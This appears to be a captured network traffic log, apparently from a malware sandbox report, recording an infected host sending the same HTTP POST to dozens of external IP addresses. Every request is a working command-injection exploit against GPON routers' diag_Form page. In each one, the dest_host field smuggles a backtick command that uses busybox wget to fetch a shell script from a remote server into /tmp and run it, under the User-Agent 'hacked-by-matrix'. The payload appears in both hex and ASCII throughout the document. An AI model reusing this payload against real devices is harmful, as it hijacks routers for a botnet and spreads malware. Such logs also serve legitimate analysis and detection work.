Mar 21, 2024 05:22:17.240997076 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
706	192.168.2.14	51776	178.106.44.153	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.241034031 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
707	192.168.2.14	44294	79.210.152.202	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.241087914 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
708	192.168.2.14	48934	42.8.220.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.241091967 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
709	192.168.2.14	58050	178.82.211.174	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.241175890 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
710	192.168.2.14	41442	178.196.182.77	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.241204023 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
711	192.168.2.14	51858	42.115.189.168	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.241213083 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
712	192.168.2.14	34584	94.42.84.208	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.241216898 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
713	192.168.2.14	49438	118.187.2.138	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.241249084 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
714	192.168.2.14	57162	79.199.65.115	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.241276979 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
715	192.168.2.14	35824	210.239.143.102	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.241305113 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
716	192.168.2.14	48094	109.147.212.72	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.241311073 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
717	192.168.2.14	33184	79.49.170.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.241375923 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
718	192.168.2.14	41768	210.227.91.228	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.241383076 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
719	192.168.2.14	48716	118.172.3.54	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.241386890 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
720	192.168.2.14	33066	79.103.13.111	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.241492033 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
721	192.168.2.14	46908	94.86.173.88	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.241502047 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
722	192.168.2.14	57720	2.50.250.107	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.241503000 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
723	192.168.2.14	49558	118.54.17.64	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.241552114 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
724	192.168.2.14	37462	212.216.63.74	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.241592884 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
725	192.168.2.14	48200	118.57.12.34	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.241626978 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
726	192.168.2.14	45948	2.206.86.61	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.241666079 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
727	192.168.2.14	48746	118.32.53.27	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.241704941 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
728	192.168.2.14	47564	37.44.6.165	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.241720915 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
729	192.168.2.14	45780	118.70.114.83	443

Timestamp	Bytes transferred	Direction	Data
